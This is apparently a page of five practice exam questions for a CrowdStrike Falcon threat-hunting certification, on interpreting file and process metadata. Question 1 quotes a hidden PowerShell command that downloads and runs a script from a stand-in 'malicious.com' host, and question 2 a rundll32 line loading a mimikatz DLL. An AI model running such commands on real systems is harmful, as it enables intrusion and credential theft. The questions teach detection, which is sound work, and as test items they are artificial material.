3.1 Analyze and Interpret Metadata Around Files and Processes Recorded by Falcon CCFH Practice Questions (Page 1)

Questions 1–5

1. 1application · medium

   A Falcon investigator is examining a process event for 'powershell.exe'. The command line is 'powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious.com/a.ps1')"'. The parent process is 'wscript.exe'. Which process metadata field would be MOST useful to determine the initial infection vector?

   • AThe command line of powershell.exe
   • BThe parent process (wscript.exe) and its command line
   • CThe SHA256 hash of powershell.exe
   • DThe user context of powershell.exe
   Reveal Solution Discussion Select an answer first
2. 2expert · hard

   A threat hunter is looking for signs of credential dumping. They see a process 'lsass.exe' with a child process 'rundll32.exe'. The command line of rundll32.exe is 'rundll32.exe C:\Users\Public\mimikatz.dll,EntryPoint'. The user context of lsass.exe is 'SYSTEM'. The user context of rundll32.exe is 'SYSTEM'. Which metadata field is MOST critical to confirm this is credential dumping?

   • AThe SHA256 hash of lsass.exe
   • BThe parent process of lsass.exe
   • CThe user context of rundll32.exe
   • DThe command line of rundll32.exe
   Reveal Solution Discussion Select an answer first
4. 3foundation · easy

   A Falcon event shows that a file named 'invoice.exe' was created in a user's Downloads folder and then executed. Which metadata fields, when combined, best confirm this execution sequence?

   • AFile path and process command line
   • BUser context and file timestamps
   • CProcess ID and parent process ID
   • DFile size and file hash
   Reveal Solution Discussion Select an answer first
5. 4expert · hard

   An analyst is investigating a file 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe'. The file's creation timestamp is 2023-06-01 08:00:00 UTC. The file's last-write timestamp is 2023-06-01 08:00:10 UTC. A process event for 'update.exe' shows a start timestamp of 2023-06-01 08:00:15 UTC. Which metadata correlation is MOST suspicious?

   • AThe file is in the Startup folder
   • BThe file was created and executed within 15 seconds
   • CThe file's name is 'update.exe'
   • DThe file's path is in ProgramData
   Reveal Solution Discussion Select an answer first
6. 5foundation · easy

   In Falcon, which file metadata field would you examine to determine the full directory location where a file was executed from?

   • AFile timestamp
   • BFile size
   • CFile path
   • DFile hash
   Reveal Solution Discussion Select an answer first